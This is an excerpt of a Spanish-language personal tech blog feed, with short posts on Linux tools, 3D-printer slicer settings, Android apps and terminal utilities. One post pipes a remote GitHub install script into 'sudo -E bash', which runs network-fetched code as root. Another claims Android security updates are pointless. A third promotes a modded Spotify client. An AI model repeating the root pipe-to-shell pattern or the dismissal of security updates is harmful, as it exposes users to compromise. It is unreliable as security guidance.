<li>Utiliza la API no oficial de Twitter (no se requieren límites de velocidad ni cuenta de desarrollador).</li>
<li>Peso ligero (para @nim_lang, 60 KB frente a 784 KB de twitter.com).</li>
<li>Licencia AGPLv3, no se permiten instancias propietarias.</li>
</ol>
<p>Además de respetar su privacidad, Nitter es en promedio alrededor de 15 veces más liviano que Twitter y, en la mayoría de los casos, sirve páginas más rápido (por ejemplo, las líneas de tiempo se cargan de 2 a 4 veces más rápido).</p>
-
PaleMoon para PCs de bajo recursos
https://imlauera.github.io/post/palemoon_para_pcs_de_bajo_recursos/
Mon, 10 Jul 2023 10:17:19 -0300
https://imlauera.github.io/post/palemoon_para_pcs_de_bajo_recursos/
<p>Estuve probando este navegador en una Intel Celeron N2806 Dual Core @1.6GHz con 4GB de RAM con una grafica integrada Intel Atom Processor Z36xxx/Z37xxx.
A comparacion de Firefox no levanta tanta temperatura y consume menos RAM. Lo use con una extension llamada Pentadactl en donde podes usar las keybindings de VIM, tuve que modificar el install.rdf para poder instalar la extension debido a que no me permitia la instalacion desde la pagina de Addons de PaleMoon por un supuesto problema de compatibilidad, en realidad solo tenes que clonar el repositorio de Pentadactl modificar el maxVersion a 32 o a la version de PaleMoon que sea que estes usando en el install.rdf, compilar la extension y abrirla en PaleMoon.
Tarda mas tiempo en renderizar las paginas pero en mi opinion vale la pena para no levantar tanta temperatura en PCs de bajos recursos.</p>
-
Las actualizaciones de seguridad de Android son un meme
https://imlauera.github.io/post/las_actualizaciones_de_seguridad_son_un_meme/
Sat, 08 Jul 2023 16:19:17 -0300
https://imlauera.github.io/post/las_actualizaciones_de_seguridad_son_un_meme/
<p>Las actualizaciones de seguridad son un meme y solo una forma de agregar más funcionalidades y código basura. No descargues APK de fuentes desconocidas, usa un AdBlocker y eso es el 99% de todos los vectores de ataque cerrados.
Elimine todos los permisos que no tienen sentido. Su calendario no necesita acceso a su micrófono o incluso contactos.
Apague todas las configuraciones que incluso sugieran la telemetría, incluidas las ubicaciones.</p>
-
Magic Sysrq Button
https://imlauera.github.io/post/magic-sysrq-button/
Sun, 02 Jul 2023 10:10:44 -0300
https://imlauera.github.io/post/magic-sysrq-button/
<p>Para activarlo si es que ya no está activado:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">'kernel.sysrq=1'</span> | sudo tee /etc/sysctl.d/99-reisub.conf
</span></span></code></pre></div><p><a href="https://en.wikipedia.org/wiki/Magic_SysRq_key">https://en.wikipedia.org/wiki/Magic_SysRq_key</a></p>
<p>Si tu sistema GNU/Linux se “congela” por alguna falla de hardware o software no es recomendable apagar la computadora manteniendo apretado la tecla apagar porque tenes altas probabilidades de dañar tu sistema de archivos. En lugar de hacer eso, se puede habilitar la Magic Sysrq para ejecutar un reseteo.</p>
<p><a href="https://www.debian.org/doc/manuals/securing-debian-manual/restrict-sysrq.it.html">https://www.debian.org/doc/manuals/securing-debian-manual/restrict-sysrq.it.html</a></p>
<p><a href="https://forum.endeavouros.com/t/tip-enable-magic-sysrq-key-reisub/7576">https://forum.endeavouros.com/t/tip-enable-magic-sysrq-key-reisub/7576</a></p>
<p>This sequence issues the following low-level commands to the kernel:</p>
-
Mi configuracion impresion 3d slic3r overload pro+ dreammaker
https://imlauera.github.io/post/mi_configuracion_slic3r_overload_pro_dreammaker/
Wed, 14 Jun 2023 21:10:46 -0300
https://imlauera.github.io/post/mi_configuracion_slic3r_overload_pro_dreammaker/
<p>Este es el archivo de configuración de slic3r que uso para hacer impresiones 3d con el modelo de impresora DreamMaker Overload Pro+</p>
<p>Caracteristicas de esta impresora:<br>
<a href="https://imlauera.github.io/files/Ficha-Impresora-3D.pdf">Ficha-Impresora-3D.pdf</a></p>
<p>Mi configuracion actual, todavia no es optima.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># generated by Slic3r 1.3.0 on Wed Jun <span style="color:#ae81ff">14</span> 23:21:15 <span style="color:#ae81ff">2023</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>[filament:1.75mm Filamento OverloadPro]
</span></span><span style="display:flex;"><span>bed_temperature = 60
</span></span><span style="display:flex;"><span>bridge_fan_speed = 100
</span></span><span style="display:flex;"><span>compatible_printers =
</span></span><span style="display:flex;"><span>cooling = 1
</span></span><span style="display:flex;"><span>disable_fan_first_layers = 3
</span></span><span style="display:flex;"><span>end_filament_gcode = "; Filament-specific end gcode \n;END gcode for filament\n"
</span></span><span style="display:flex;"><span>extrusion_multiplier = 1
</span></span><span style="display:flex;"><span>fan_always_on = 0
</span></span><span style="display:flex;"><span>fan_below_layer_time = 60
</span></span><span style="display:flex;"><span>filament_colour = #000000
</span></span><span style="display:flex;"><span>filament_cost = 0
</span></span><span style="display:flex;"><span>filament_density = 0
</span></span><span style="display:flex;"><span>filament_diameter = 1.75
</span></span><span style="display:flex;"><span>filament_max_volumetric_speed = 0
</span></span><span style="display:flex;"><span>filament_notes = ""
</span></span><span style="display:flex;"><span>filament_settings_id =
</span></span><span style="display:flex;"><span>first_layer_bed_temperature = 65
</span></span><span style="display:flex;"><span>first_layer_temperature = 210
</span></span><span style="display:flex;"><span>max_fan_speed = 100
</span></span><span style="display:flex;"><span>min_fan_speed = 35
</span></span><span style="display:flex;"><span>min_print_speed = 10
</span></span><span style="display:flex;"><span>slowdown_below_layer_time = 5
</span></span><span style="display:flex;"><span>start_filament_gcode = "; Filament gcode\n"
</span></span><span style="display:flex;"><span>temperature = 198
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>[filament:My Settings]
</span></span><span style="display:flex;"><span>bed_temperature = 60
</span></span><span style="display:flex;"><span>bridge_fan_speed = 100
</span></span><span style="display:flex;"><span>compatible_printers =
</span></span><span style="display:flex;"><span>cooling = 1
</span></span><span style="display:flex;"><span>disable_fan_first_layers = 3
</span></span><span style="display:flex;"><span>end_filament_gcode = "; Filament-specific end gcode \n;END gcode for filament\n"
</span></span><span style="display:flex;"><span>extrusion_multiplier = 1
</span></span><span style="display:flex;"><span>fan_always_on = 0
</span></span><span style="display:flex;"><span>fan_below_layer_time = 60
</span></span><span style="display:flex;"><span>filament_colour = #FFFFFF
</span></span><span style="display:flex;"><span>filament_cost = 0
</span></span><span style="display:flex;"><span>filament_density = 0
</span></span><span style="display:flex;"><span>filament_diameter = 1.75
</span></span><span style="display:flex;"><span>filament_max_volumetric_speed = 0
</span></span><span style="display:flex;"><span>filament_notes = ""
</span></span><span style="display:flex;"><span>filament_settings_id =
</span></span><span style="display:flex;"><span>first_layer_bed_temperature = 65
</span></span><span style="display:flex;"><span>first_layer_temperature = 205
</span></span><span style="display:flex;"><span>max_fan_speed = 100
</span></span><span style="display:flex;"><span>min_fan_speed = 35
</span></span><span style="display:flex;"><span>min_print_speed = 10
</span></span><span style="display:flex;"><span>slowdown_below_layer_time = 5
</span></span><span style="display:flex;"><span>start_filament_gcode = "; Filament gcode\n"
</span></span><span style="display:flex;"><span>temperature = 200
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>[presets]
</span></span><span style="display:flex;"><span>filament = 1.75mm Filamento OverloadPro
</span></span><span style="display:flex;"><span>print = My Settings
</span></span><span style="display:flex;"><span>printer = My Settings
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>[print:My Settings]
</span></span><span style="display:flex;"><span>adaptive_slicing = 0
</span></span><span style="display:flex;"><span>adaptive_slicing_quality = 75%
</span></span><span style="display:flex;"><span>avoid_crossing_perimeters = 0
</span></span><span style="display:flex;"><span>bottom_infill_pattern = rectilinear
</span></span><span style="display:flex;"><span>bottom_solid_layers = 3
</span></span><span style="display:flex;"><span>bridge_acceleration = 0
</span></span><span style="display:flex;"><span>bridge_flow_ratio = 1
</span></span><span style="display:flex;"><span>bridge_speed = 20
</span></span><span style="display:flex;"><span>brim_connections_width = 0
</span></span><span style="display:flex;"><span>brim_width = 5
</span></span><span style="display:flex;"><span>compatible_printers =
</span></span><span style="display:flex;"><span>complete_objects = 0
</span></span><span style="display:flex;"><span>default_acceleration = 0
</span></span><span style="display:flex;"><span>dont_support_bridges = 1
</span></span><span style="display:flex;"><span>external_perimeter_extrusion_width = 0
</span></span><span style="display:flex;"><span>external_perimeter_speed = 50%
</span></span><span style="display:flex;"><span>external_perimeters_first = 0
</span></span><span style="display:flex;"><span>extra_perimeters = 1
</span></span><span style="display:flex;"><span>extruder_clearance_height = 20
</span></span><span style="display:flex;"><span>extruder_clearance_radius = 20
</span></span><span style="display:flex;"><span>extrusion_width = 0
</span></span><span style="display:flex;"><span>fill_angle = 45
</span></span><span style="display:flex;"><span>fill_density = 20%
</span></span><span style="display:flex;"><span>fill_gaps = 0
</span></span><span style="display:flex;"><span>fill_pattern = rectilinear
</span></span><span style="display:flex;"><span>first_layer_acceleration = 0
</span></span><span style="display:flex;"><span>first_layer_extrusion_width = 200%
</span></span><span style="display:flex;"><span>first_layer_height = 0.3
</span></span><span style="display:flex;"><span>first_layer_speed = 30%
</span></span><span style="display:flex;"><span>gap_fill_speed = 20
</span></span><span style="display:flex;"><span>gcode_comments = 0
</span></span><span style="display:flex;"><span>infill_acceleration = 0
</span></span><span style="display:flex;"><span>infill_every_layers = 1
</span></span><span style="display:flex;"><span>infill_extruder = 1
</span></span><span style="display:flex;"><span>infill_extrusion_width = 0
</span></span><span style="display:flex;"><span>infill_first = 0
</span></span><span style="display:flex;"><span>infill_only_where_needed = 0
</span></span><span style="display:flex;"><span>infill_overlap = 55%
</span></span><span style="display:flex;"><span>infill_speed = 80
</span></span><span style="display:flex;"><span>interface_shells = 0
</span></span><span style="display:flex;"><span>interior_brim_width = 0
</span></span><span style="display:flex;"><span>layer_height = 0.2
</span></span><span style="display:flex;"><span>match_horizontal_surfaces = 0
</span></span><span style="display:flex;"><span>max_print_speed = 80
</span></span><span style="display:flex;"><span>max_volumetric_speed = 0
</span></span><span style="display:flex;"><span>min_skirt_length = 0
</span></span><span style="display:flex;"><span>notes =
</span></span><span style="display:flex;"><span>only_retract_when_crossing_perimeters = 1
</span></span><span style="display:flex;"><span>ooze_prevention = 0
</span></span><span style="display:flex;"><span>output_filename_format = [input_filename_base].gcode
</span></span><span style="display:flex;"><span>overhangs = 1
</span></span><span style="display:flex;"><span>perimeter_acceleration = 0
</span></span><span style="display:flex;"><span>perimeter_extruder = 1
</span></span><span style="display:flex;"><span>perimeter_extrusion_width = 0
</span></span><span style="display:flex;"><span>perimeter_speed = 60
</span></span><span style="display:flex;"><span>perimeters = 3
</span></span><span style="display:flex;"><span>post_process =
</span></span><span style="display:flex;"><span>print_settings_id =
</span></span><span style="display:flex;"><span>raft_layers = 0
</span></span><span style="display:flex;"><span>regions_overlap = 0
</span></span><span style="display:flex;"><span>resolution = 0
</span></span><span style="display:flex;"><span>seam_position = aligned
</span></span><span style="display:flex;"><span>shortcuts = support_material
</span></span><span style="display:flex;"><span>skirt_distance = 6
</span></span><span style="display:flex;"><span>skirt_height = 1
</span></span><span style="display:flex;"><span>skirts = 1
</span></span><span style="display:flex;"><span>small_perimeter_speed = 15
</span></span><span style="display:flex;"><span>solid_infill_below_area = 70
</span></span><span style="display:flex;"><span>solid_infill_every_layers = 0
</span></span><span style="display:flex;"><span>solid_infill_extruder = 1
</span></span><span style="display:flex;"><span>solid_infill_extrusion_width = 0
</span></span><span style="display:flex;"><span>solid_infill_speed = 20
</span></span><span style="display:flex;"><span>spiral_vase = 0
</span></span><span style="display:flex;"><span>standby_temperature_delta = -5
</span></span><span style="display:flex;"><span>support_material = 0
</span></span><span style="display:flex;"><span>support_material_angle = 0
</span></span><span style="display:flex;"><span>support_material_buildplate_only = 0
</span></span><span style="display:flex;"><span>support_material_contact_distance = 0.2
</span></span><span style="display:flex;"><span>support_material_enforce_layers = 0
</span></span><span style="display:flex;"><span>support_material_extruder = 1
</span></span><span style="display:flex;"><span>support_material_extrusion_width = 0
</span></span><span style="display:flex;"><span>support_material_interface_extruder = 1
</span></span><span style="display:flex;"><span>support_material_interface_extrusion_width = 0
</span></span><span style="display:flex;"><span>support_material_interface_layers = 3
</span></span><span style="display:flex;"><span>support_material_interface_spacing = 0
</span></span><span style="display:flex;"><span>support_material_interface_speed = 100%
</span></span><span style="display:flex;"><span>support_material_max_layers = 0
</span></span><span style="display:flex;"><span>support_material_pattern = rectilinear
</span></span><span style="display:flex;"><span>support_material_spacing = 5
</span></span><span style="display:flex;"><span>support_material_speed = 20
</span></span><span style="display:flex;"><span>support_material_threshold = 60%
</span></span><span style="display:flex;"><span>thin_walls = 1
</span></span><span style="display:flex;"><span>top_infill_extrusion_width = 0
</span></span><span style="display:flex;"><span>top_infill_pattern = rectilinear
</span></span><span style="display:flex;"><span>top_solid_infill_speed = 15
</span></span><span style="display:flex;"><span>top_solid_layers = 3
</span></span><span style="display:flex;"><span>travel_speed = 90
</span></span><span style="display:flex;"><span>xy_size_compensation = 0
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>[printer:My Settings]
</span></span><span style="display:flex;"><span>bed_shape = 99.4522x10.4528,97.8148x20.7912,95.1057x30.9017,91.3545x40.6737,86.6025x50,80.9017x58.7785,74.3145x66.9131,66.9131x74.3145,58.7785x80.9017,50x86.6025,40.6737x91.3545,30.9017x95.1057,20.7912x97.8148,10.4528x99.4522,0x100,-10.4528x99.4522,-20.7912x97.8148,-30.9017x95.1057,-40.6737x91.3545,-50x86.6025,-58.7785x80.9017,-66.9131x74.3145,-74.3145x66.9131,-80.9017x58.7785,-86.6025x50,-91.3545x40.6737,-95.1057x30.9017,-97.8148x20.7912,-99.4522x10.4528,-100x0,-99.4522x-10.4528,-97.8148x-20.7912,-95.1057x-30.9017,-91.3545x-40.6737,-86.6025x-50,-80.9017x-58.7785,-74.3145x-66.9131,-66.9131x-74.3145,-58.7785x-80.9017,-50x-86.6025,-40.6737x-91.3545,-30.9017x-95.1057,-20.7912x-97.8148,-10.4528x-99.4522,0x-100,10.4528x-99.4522,20.7912x-97.8148,30.9017x-95.1057,40.6737x-91.3545,50x-86.6025,58.7785x-80.9017,66.9131x-74.3145,74.3145x-66.9131,80.9017x-58.7785,86.6025x-50,91.3545x-40.6737,95.1057x-30.9017,97.8148x-20.7912,99.4522x-10.4528,100x0
</span></span><span style="display:flex;"><span>before_layer_gcode =
</span></span><span style="display:flex;"><span>between_objects_gcode =
</span></span><span style="display:flex;"><span>end_gcode = M104 S0 ; turn off temperature\nG28 X0 ; home X axis\nM84 ; disable motors\n
</span></span><span style="display:flex;"><span>extruder_offset = 0x0
</span></span><span style="display:flex;"><span>gcode_flavor = reprap
</span></span><span style="display:flex;"><span>has_heatbed = 1
</span></span><span style="display:flex;"><span>host_type = octoprint
</span></span><span style="display:flex;"><span>layer_gcode =
</span></span><span style="display:flex;"><span>max_layer_height = 0.3
</span></span><span style="display:flex;"><span>min_layer_height = 0.15
</span></span><span style="display:flex;"><span>nozzle_diameter = 0.4
</span></span><span style="display:flex;"><span>octoprint_apikey =
</span></span><span style="display:flex;"><span>pressure_advance = 0
</span></span><span style="display:flex;"><span>print_host =
</span></span><span style="display:flex;"><span>printer_notes =
</span></span><span style="display:flex;"><span>printer_settings_id =
</span></span><span style="display:flex;"><span>retract_before_travel = 2
</span></span><span style="display:flex;"><span>retract_layer_change = 1
</span></span><span style="display:flex;"><span>retract_length = 5
</span></span><span style="display:flex;"><span>retract_length_toolchange = 10
</span></span><span style="display:flex;"><span>retract_lift = 0
</span></span><span style="display:flex;"><span>retract_lift_above = 0
</span></span><span style="display:flex;"><span>retract_lift_below = 0
</span></span><span style="display:flex;"><span>retract_restart_extra = 0
</span></span><span style="display:flex;"><span>retract_restart_extra_toolchange = 0
</span></span><span style="display:flex;"><span>retract_speed = 80
</span></span><span style="display:flex;"><span>serial_port =
</span></span><span style="display:flex;"><span>serial_speed = 250000
</span></span><span style="display:flex;"><span>start_gcode = G28 ; home all axes\nG1 Z5 F5000 ; lift nozzle\n
</span></span><span style="display:flex;"><span>toolchange_gcode =
</span></span><span style="display:flex;"><span>use_firmware_retraction = 0
</span></span><span style="display:flex;"><span>use_relative_e_distances = 0
</span></span><span style="display:flex;"><span>use_set_and_wait_bed = 0
</span></span><span style="display:flex;"><span>use_set_and_wait_extruder = 0
</span></span><span style="display:flex;"><span>use_volumetric_e = 0
</span></span><span style="display:flex;"><span>vibration_limit = 0
</span></span><span style="display:flex;"><span>wipe = 1
</span></span><span style="display:flex;"><span>z_offset = 0
</span></span><span style="display:flex;"><span>z_steps_per_mm = 0
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>[settings]
</span></span><span style="display:flex;"><span>autocenter = 1
</span></span></code></pre></div>
-
Creando una billetera bitcoin para aceptar donaciones
https://imlauera.github.io/post/creando_una_billetera_bitcoin/
Thu, 08 Jun 2023 00:38:13 -0300
https://imlauera.github.io/post/creando_una_billetera_bitcoin/
<h3 id="creando-una-billetera-bitcoin">Creando una billetera Bitcoin</h3>
<p>Ahora obtengamos una billetera Bitcoin y podamos recibir fondos o donaciones de Bitcoin.</p>
<h3 id="billeteras">Billeteras</h3>
<p>Una de las opciones clásicas para una billetera Bitcoin es Electrum. Vaya a <a href="https://electrum.org">https://electrum.org</a> para descargarlo e instalarlo, o si es un usuario de Linux, probablemente esté incluido en el repositorio de paquetes de su distribución.</p>
<h5 id="version-móvil">¿Version móvil?</h5>
<p>Tenga en cuenta también que hay versiones de Electrum para teléfonos móviles/celulares para Android e iOS. Por lo general, recomiendo no usar una billetera en un teléfono celular por razones de seguridad, pero si lo desea, puede hacerlo.</p>
-
Posibles riesgos con los nuevos dominios de google: zip y mov
https://imlauera.github.io/post/nuevos_dominios_de_google_zip_provocar_ataques_de_phishing/
Sat, 27 May 2023 04:51:28 -0300
https://imlauera.github.io/post/nuevos_dominios_de_google_zip_provocar_ataques_de_phishing/
<h4 id="google-anuncio-nuevos-dominios-que-hacen-referencia-a-extensiones-de-archivos">Google anuncio nuevos dominios que hacen referencia a extensiones de archivos</h4>
<p>.zip y .mov son los nuevos dominios de Google. La preocupación, es que las URL que se parecen a nombres de archivo darán aún más posibilidades a estafas digitales como el <a href="phishing">https://es.wikipedia.org/wiki/Phishing</a>, que engañan a los internautas para que hagan clic en enlaces maliciosos que se hacen pasar por algo legítimo. Y los dos dominios también podrían agravar el problema de los programas que reconocen erróneamente nombres de archivo como URL y les añaden automáticamente enlaces. Teniendo esto en cuenta, los estafadores podrían comprar estratégicamente algunas URL .zip y .mov que también fueran nombres de archivo comunes.
[https://medium.com/@bobbyrsec/the-dangers-of-googles-zip-tld-5e1e675e59a5](Aca se explica un tipo de ataque con estos dominios)</p>
-
Compilar vim
https://imlauera.github.io/post/compilar_vim/
Thu, 18 May 2023 22:10:51 -0300
https://imlauera.github.io/post/compilar_vim/
<h4 id="como-compilar-la-utima-version-de-vim">Como compilar la utima version de VIM</h4>
<h5 id="ver-la-version-actual-de-vim">Ver la version actual de vim</h5>
<p><code>vim</code></p>
<h5 id="deshazte-del-vim-existente">Deshazte del Vim existente</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt autoremove vim vim-runtime gvim
</span></span></code></pre></div><h5 id="deshágase-del-obsoleto-python-2x">Deshágase del obsoleto python 2.x</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt autoremove python2*
</span></span></code></pre></div><p>Agregar paquetes de compilación</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo apt install -y git \
</span></span><span style="display:flex;"><span> libatk1.0-dev \
</span></span><span style="display:flex;"><span> libcairo2-dev \
</span></span><span style="display:flex;"><span> libgtk2.0-dev \
</span></span><span style="display:flex;"><span> liblua5.1-0-dev \
</span></span><span style="display:flex;"><span> libncurses5-dev \
</span></span><span style="display:flex;"><span> libperl-dev \
</span></span><span style="display:flex;"><span> libx11-dev \
</span></span><span style="display:flex;"><span> libxpm-dev \
</span></span><span style="display:flex;"><span> libxt-dev \
</span></span><span style="display:flex;"><span> lua5.1 \
</span></span><span style="display:flex;"><span> python3-dev \
</span></span><span style="display:flex;"><span> ruby-dev
</span></span></code></pre></div><p>Clonamos el repositorio y lo configuramos</p>
-
No uses Tmux
https://imlauera.github.io/post/no_uses_tmux/
Thu, 11 May 2023 18:02:21 -0300
https://imlauera.github.io/post/no_uses_tmux/
<p>Esta sobrecargado de funciones que no las vas a usar y DVTM es mas ligero y rapido y tiene las key bindings como DWM, mejor usa DVTM. O VIM Tabs también es una alternativa.
Es mejor VIM Tabs porque no te rompe los colores como TMUX y DVTM.
DVTM lo podes clonar desde aca: <a href="https://sr.ht/~kaction/dvtm/">https://sr.ht/~kaction/dvtm/</a></p>
-
Howto Install Opencard Debian
https://imlauera.github.io/howto-install-opencard-debian/
Mon, 08 May 2023 22:51:50 -0300
https://imlauera.github.io/howto-install-opencard-debian/
<h4 id="instalacion-de-opencard-en-debian">Instalacion de OpenCard en Debian</h4>
-
Crear Stream de audio, radio digital usando icecast darkice
https://imlauera.github.io/post/stream_de_audio_radio_digital_icecast_darkice/
Sun, 30 Apr 2023 17:12:55 -0300
https://imlauera.github.io/post/stream_de_audio_radio_digital_icecast_darkice/
<p>No necesitan usar SoundWire ni pagar la version premium</p>
<h3 id="instalar-icecast-y-darkice">Instalar icecast y darkice</h3>
<p>Resumidamente IceCast crea el servidor y darkice transmite el audio a ese servidor.
En este caso veremos como podemos transmitir el audio interno de tu computadora a la red LAN (se puede hacer a traves de internet tambien)</p>
<p>Primero, se instalará un servidor de streaming.</p>
<p>Instalar icecast2 (<code>sudo apt install icecast2</code>).
Editar el fichero <code>/etc/icecast2/icecast.xml</code> para escuchar en todas las IP del PC, descomentando y poniendo:</p>
-
Fzf
https://imlauera.github.io/post/fzf/
Wed, 26 Apr 2023 01:51:01 -0300
https://imlauera.github.io/post/fzf/
<p>Fzf es un buscador de línea de comandos escrito en Go. <a href="https://github.com/junegunn/fzf">https://github.com/junegunn/fzf</a></p>
-
Alternativa a GitHub Copilot, y otro chatai
https://imlauera.github.io/post/alternativa_github_copilot_otro_chatai/
Wed, 26 Apr 2023 01:39:13 -0300
https://imlauera.github.io/post/alternativa_github_copilot_otro_chatai/
<h3 id="otro-chat-ai">Otro Chat AI</h3>
<p><a href="https://huggingface.co/chat/">https://huggingface.co/chat/</a></p>
<h3 id="alternativa-a-github-copilot">Alternativa a GitHub Copilot</h3>
<p>Codeium es una alternativa a GitHub Copilot.
<a href="https://github.com/Exafunction/codeium.vim">https://github.com/Exafunction/codeium.vim</a></p>
-
Dejá de usar el mouse con la ayuda de KEYNAV
https://imlauera.github.io/post/como_usar_tu_pc_sin_mouse/
Sun, 23 Apr 2023 10:48:12 -0300
https://imlauera.github.io/post/como_usar_tu_pc_sin_mouse/
<h3 id="keynav">KEYNAV</h3>
<p>Es lo que estas buscando.
Usa las key-bindings de VIM.</p>
<p><a href="https://github.com/jordansissel/keynav">https://github.com/jordansissel/keynav</a></p>
-
Controlar android desde terminal usando ADB
https://imlauera.github.io/post/controlar_android_desde_terminal/
Thu, 20 Apr 2023 23:01:04 -0300
https://imlauera.github.io/post/controlar_android_desde_terminal/
<p>Primero tienen que conectar Android a la computadora a traves de un USB y activar el modo debugger en Android. Para hacer esto deben apretar 7 veces en Numero de compilacion que esta a lo ultimo en <code>Ajustes->Acerca del Telefono</code>, despues regresan al menu anterior y les aparecera un menu de opciones de programador entran ahi y activan el USB Debugging. Luego desconectan el USB.
Ahora instalan adb en Linux es simple</p>
-
Spotify Premium sin publicidad en Android
https://imlauera.github.io/post/spotify_sin_publicidad/
Thu, 20 Apr 2023 07:23:14 -0300
https://imlauera.github.io/post/spotify_sin_publicidad/
<h3 id="para-usar-spotify-premium-sin-publicidad-pueden-bajar-cualquier-version-de-spotify">Para usar Spotify Premium sin publicidad, pueden bajar cualquier version de Spotify:</h3>
<p>Descarguen este manager de donde van a poder descargar diferentes versiones de spotify <a href="https://www.xmanagerapp.com/">xManager</a></p>
-
Como mirar YouTube en Android sin publicidad
https://imlauera.github.io/post/youtube_mobile_alternatives/
Thu, 20 Apr 2023 07:18:28 -0300
https://imlauera.github.io/post/youtube_mobile_alternatives/
<h3 id="alternativas-a-youtube-sin-publicidad">Alternativas a YouTube sin publicidad.</h3>
<p>Desde la <a href="https://f-droid.org/">F-droid</a> pueden bajarse:</p>
<ol>
<li>LibreTube (si el video carga lento intenta cambiando de instancias en el menu de ajustes)</li>
<li>NewPipe
Observación: Estos dos clientes no tienen el algoritmo de recomendacion de videos, pero funcionan bien.</li>
</ol>
<p>La siguiente aplicacion no se puede bajar desde la f-droid, es la mas completa y tiene el algoritmo de recomendacion de videos
<a href="https://revanced.app/">YouTube Revanced</a></p>
<h4 id="la-forma-oficial-de-instalar-revanced">La forma oficial de instalar ReVanced</h4>
<p>Bajá el apk revanced-manager, entrá a <a href="https://revanced.app">https://revanced.app</a></p>
-
Como buscar en DuckDuckGo desde la terminal
https://imlauera.github.io/post/how_to_search_the_web_from_linux_terminal/
Fri, 07 Apr 2023 06:52:55 -0300
https://imlauera.github.io/post/how_to_search_the_web_from_linux_terminal/
<h3 id="instalación">Instalación</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/jarun/ddgr.git
</span></span><span style="display:flex;"><span>sudo cp ddgr /usr/local/bin
</span></span></code></pre></div><h3 id="buscamos">Buscamos</h3>
<p>Y ahora para buscar algo ejecutamos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ddgr esto es una prueba
</span></span></code></pre></div>
-
Como Usar Chatgpt y DALL-E en la Terminal
https://imlauera.github.io/post/como-usar-chatgpt-consola/
Thu, 23 Mar 2023 00:09:11 -0300
https://imlauera.github.io/post/como-usar-chatgpt-consola/
<h3 id="instalación-de-chatgpt-shelll-client">Instalación de chatGPT shelll client</h3>
<p>Primero instalan esto:
<!-- raw HTML omitted --><a href="https://github.com/0xacx/chatGPT-shell-cli">https://github.com/0xacx/chatGPT-shell-cli</a><!-- raw HTML omitted -->
Con el siguiente comando:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sS https://raw.githubusercontent.com/0xacx/chatGPT-shell-cli/main/install.sh | sudo -E bash
</span></span></code></pre></div><blockquote>
<p>Un script de shell simple y liviano para usar chatGPT y DALL-E de OpenAI desde la terminal sin instalar python o node.js. El script usa el modelo oficial de ChatGPT gpt-3.5-turbo con el punto de conexión /chat/completions de la API de OpenAI. También puede utilizar el nuevo modelo gpt-4, si tiene acceso.
El script permite el uso de todos los demás modelos de OpenAI con el punto final de finalización y el punto final de imágenes/generaciones para generar imágenes.</p>
-
Como descargar una playlist entera de YouTube y unirla en un solo archivo
https://imlauera.github.io/post/download_and_concat/
Sun, 19 Mar 2023 03:20:11 -0300
https://imlauera.github.io/post/download_and_concat/
<h3 id="descargar-toda-la-playlist-y-guardarlos-en-archivos-sin-espacio-para-facilitar-el-trabajo-usando-ffmpeg">Descargar toda la playlist y guardarlos en archivos sin espacio para facilitar el trabajo usando ffmpeg</h3>
<p>En este caso vamos a bajar el audio solamente (esto se hace con -f 140), si queremos el video podemos usar la opcion -f 18 o -f 22 entre otras opciones. Si ponen -F en vez de -f les tira una lista de calidades disponibles.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yt-dlp -f <span style="color:#ae81ff">140</span> <span style="color:#e6db74">'https://youtu.be/playlist?list=PLff7Jl9WJY9tkiCxOEwAS67pFUBGQMtkE'</span> -o <span style="color:#e6db74">'%(autonumber)s%(id)s.%(ext)s'</span>
</span></span></code></pre></div><h3 id="guardar-todo-en-un-archivo-mylisttxt-para-que-ffmpeg-pueda-juntar-los-archivos">Guardar todo en un archivo mylist.txt para que ffmpeg pueda juntar los archivos</h3>
<p>pueden usar este comando:</p>
-
ChatGPT en Neovim
https://imlauera.github.io/post/chatgpt-en-neovim/
Thu, 09 Mar 2023 21:05:11 -0300
https://imlauera.github.io/post/chatgpt-en-neovim/
<p>Instala este plugin
